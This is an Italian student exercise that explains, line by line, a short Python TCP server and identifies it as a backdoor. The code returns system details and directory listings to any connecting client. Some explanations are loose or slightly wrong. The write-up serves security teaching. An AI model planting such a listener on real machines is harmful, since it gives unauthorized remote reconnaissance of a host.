

ESERCIZIO 4 SETTIMANA 3

```
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234
```

Nell'immagine sopra indicata notiamo che impostiamo librerie come socket, platform e os. Dopo creiamo due variabili assegnandogli un indirizzo IP e una porta su cui il server ascolterà le connessioni.

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()
```

La prima riga dell'immagine crea un socket. Grazie a socket.AF_INET capiamo che si tratta di un socket di tipo IPv4, mentre il secondo parametro specifichiamo che si tratta di un socket TCP. Tramite s.bind associamo il socket all'indirizzo IP. Grazie a s.listen(1) si mette il socket in modalità "ascolto", mentre l'1 indica che il server può accettare una connessione alla volta. Infine tramite s.accept() si accetta la connessione in entrata.

```
print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue
```

Con il comando print stampiamo il messaggio "" e visualizza l'indirizzo del client. Con while il programma entra in un ciclo infinito per ricevere dati dal client. Si utilizza recv(1024) per far sì che si ricevono dati da un client con una dimensione massima di 1024 byte. Infine se verrà accettato si continua.

```
if(data.decode('utf-8') == '1'):
    tosend = platform.platform() + " " + platform.machine()
    connection.sendall(tosend.encode())
elif(data.decode('utf-8') == '2'):
    data = connection.recv(1024)
    try:
        filelist = os.listdir(data.decode('utf-8'))
        tosend = ""
        for x in filelist:
            tosend += "," + x
    except:
        tosend = "Wrong path"
    connection.sendall(tosend.encode())
elif(data.decode('utf-8') == '0'):
    connection.close()
    connection, address = s.accept()
```

Infine qui possiamo notare un ciclo if elif ed else (che manca). Che ci vanno ad indicare il fatto che il programma va avanti per una condizione.

Ricapitolando il programma fa riferimento ad una backdoor.

BACKDOOR:

Una backdoor è un metodo, spesso segreto, per passare oltre la normale autenticazione in un prodotto, un sistema informatico, un crittosistema o un algoritmo.